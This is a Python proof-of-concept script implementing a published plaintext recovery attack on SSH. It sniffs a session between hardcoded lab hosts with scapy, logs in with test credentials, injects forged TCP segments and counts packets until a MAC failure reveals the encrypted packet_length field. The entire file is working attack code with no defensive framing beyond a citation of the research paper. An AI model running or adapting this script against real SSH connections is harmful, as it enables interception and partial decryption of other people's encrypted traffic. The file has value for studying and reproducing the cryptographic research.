path: root/SSH Attack Summary/ssh-attack.py

#!/usr/bin/python
"""
Proof-of-concept implementation of [APW09]_

.. [APW09] Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson
   Plaintext Recovery Attacks Against SSH
   IEEE Security & Privacy 2009. IEEE 2009.

AUTHOR: Martin Albrecht <martinralbrecht@googlemail.com>
"""
import pdb
import pxssh
import thread
import scapy
import time
import sys
import commands

from scapy.all import IP, TCP

#
# Configuration
#

iface='lxcbr0'    # the interface we work on
bob='10.0.1.1'    # the client
alice='10.0.1.30' # the server

def sniff_ssh_conversation(port):
    """
    Sniff the conversation between alice and bob and return the last
    SSH request/response pair.
    """
    packets = scapy.all.sniff(iface=iface, timeout=2, filter="tcp port %d"%port)
    packets = [p[IP] for p in packets if len(p[TCP]) > 4*p[TCP].dataofs]

    an = 0
    for p in reversed(packets):
        if p.src == bob and p.dst == alice:
            req = p
            an = req[TCP].ack
            break
    else:
        raise IndexError("Request packet not found")

    for p in reversed(packets):
        if p.src == alice and p.dst == bob and p[TCP].seq == an:
            res = p
            break
    else:
        raise IndexError("Response packet not found")

    return req, res

def delayed(func):
    """
    Execute func one second late.
    """
    def wrapper(*args, **kwds):
        time.sleep(1)
        return func(*args, **kwds)
    wrapper.__doc__ = func.__doc__
    return wrapper

@delayed
def generate_ssh_traffic(s):
    s.send("a")

def got_invalid_packet_length(response):
    """
    Return True if the packet list has a payload packet (i.e. it is
    neither only an ACK nor a FIN). We then assume that the packet
    contains an SSH error message which could either be a
    packet_length failure or a MAC failure which we ignore.
    """
    for (a,b) in response:
        if len(b[TCP]) > b[TCP].dataofs*4:
            return True
    return False

def has_blocksize_failure(response):
    """
    Return True if packet list contains a FIN and no 'size failure'
    packet.
    """
    if got_invalid_packet_length(response):
        return False
    for (a,b) in response:
        if (b[TCP].flags & 1):
            return True
    return False

def is_wait_state(response):
    """
    Return True if neither has_blocksize_failure nor
    got_invalid_packet_length is True.
    """
    return not got_invalid_packet_length(response) and not has_blocksize_failure(response)

def get_port_number():
    """
    Get port number of current SSH session using 'netstat'.
    """
    for line in commands.getoutput("netstat -tn").splitlines():
        if alice + ":22" in line and "ESTABLISHED" in line:
            src = [e for e in line.split(' ') if e != ''][3]
            return int(src.split(":")[1])

def ssh_attack():
    i = -1
    while True:
        i+=1
        sys.stdout.flush()

        # 1. start a fresh SSH session
        s = pxssh.pxssh()
        s.login(alice, "alice", "alice")
        port = get_port_number()

        # 2.1. generate some traffic
        thread.start_new_thread(generate_ssh_traffic, (s,))

        # 2.2. sniff data & inject
        try:
            a, b = sniff_ssh_conversation(port)
            c = gen_packet(b)
            result = scapy.all.sr(c, iface=iface, verbose=False, timeout=1, multi=True)
        except IndexError:
            s.send("\n")
            s.logout()
            s.close()
            print "Crap, something went wrong."
            continue

        # 3. check the response from the server
        response = result[0]

        if got_invalid_packet_length(response):
            # TODO: We ignore MAC Failures here.
            print "%5d: packet_length < 1 + 4 || packet_length > 256 * 1024"%(i,)
            continue
        elif has_blocksize_failure(response):
            print "%5d: need %% block_size != 0"%(i)
            continue
        elif is_wait_state(response):
            print "%5d: buffer_len(&input) < need + maclen "%(i,),
            for (a,b) in response:
                if is_ack(b):
                    break
            try:
                return handle_wait_state(b, port)
            except PacketLengthUnlikely:
                continue
        else:
            raise RuntimeError("This case should never happen",response,s)
    return s

def gen_packet(p, size=16):
    """
    Generate an SSH package which replies to p.
    """
    a = IP()
    a.src = p[IP].dst
    a.dst = p[IP].src

    b = TCP()
    b.sport = p[TCP].dport
    b.dport = p[TCP].sport

    b.seq = p[TCP].ack
    b.ack = p[TCP].seq + len(p[TCP]) - (p[TCP].dataofs*4)

    timestamp = p[TCP].options[2][1]
    b.flags = 0x18 # PA
    b.options = [('NOP', None), ('NOP', None), ('Timestamp', (timestamp[1]+100, timestamp[0]))]
    b.payload = '0'*size
    return a/b

def is_ack(p):
    return p[IP].proto == 6 and len(p[TCP]) == p[TCP].dataofs*4 and p[TCP].flags & 16

class PacketLengthUnlikely(Exception):
    """
    Raised if the value in the packet length field is unlikely,
    i.e. it is very small.
    """
    pass

class MACFailure(Exception):
    """
    Raised if we see a MAC failure on the wire.
    """
    pass

last = None

def wait_state_callback(pkt):
    """
    Called on every packet on the wire.
    """
    global last

    if is_ack(pkt) and pkt[TCP].seq == last[TCP].ack:
        # We received an ACK for our last SSH request, so we send
        # another one. However, the TCP stack (in the kernel) might
        # send out ACKs before SSH got a chance to reply with an SSH
        # connection teardown, since computing a MAC for a long
        # message takes time. We have two strategies to deal with
        # that:

        # Strategy 1: We send packets that are too small. So if we
        # send to many we know how many were too much. To enable this,
        # set the second parameter to something < 16.

        pkt = gen_packet(pkt,16)
        last = pkt

        # Strategy 2: We slow ourselves down here.
        #time.sleep(0.05)

        scapy.all.send(pkt, verbose=False)
        return

    elif len(pkt[TCP]) > (pkt[TCP].dataofs*4):
        # We received a payload and assume a MAC failure.
        raise MACFailure(pkt)
    else:
        # Something wrong happened, this should never happen.
        raise TypeError("Unknown response", pkt)

def handle_wait_state(pkt, port):
    """
    We send small packets until we receive a MAC failure. The sending
    is done via a callback only the initial packet is sent in this
    function. We keep track of the sent packets via the sequence
    numbers of TCP.
    """
    global last

    pkt = gen_packet(pkt)
    last = pkt
    first_seq = int(pkt[TCP].seq)

    thread.start_new_thread(delayed(scapy.all.send), (pkt,))

    try:
        scapy.all.sniff(iface=iface, filter="src host %s && tcp port %d"%(alice,port,), prn=wait_state_callback)
    except MACFailure, pkt:
        return calc_packet_length(pkt.message, first_seq)

def calc_packet_length(pkt, first_seq):
    """
    Given a MAC failure message and a first sequence number calculate
    the correct number of bytes sent and thereby the value of the
    packet_length field.
    """
    packet_length = pkt[TCP].ack - first_seq

    packet_length -= packet_length % 16

    packet_length += 16 # account bytes sent initially

    packet_length -= 4  # don't count the packet_length field itself
    packet_length -= 16 # don't count the MAC

    return packet_length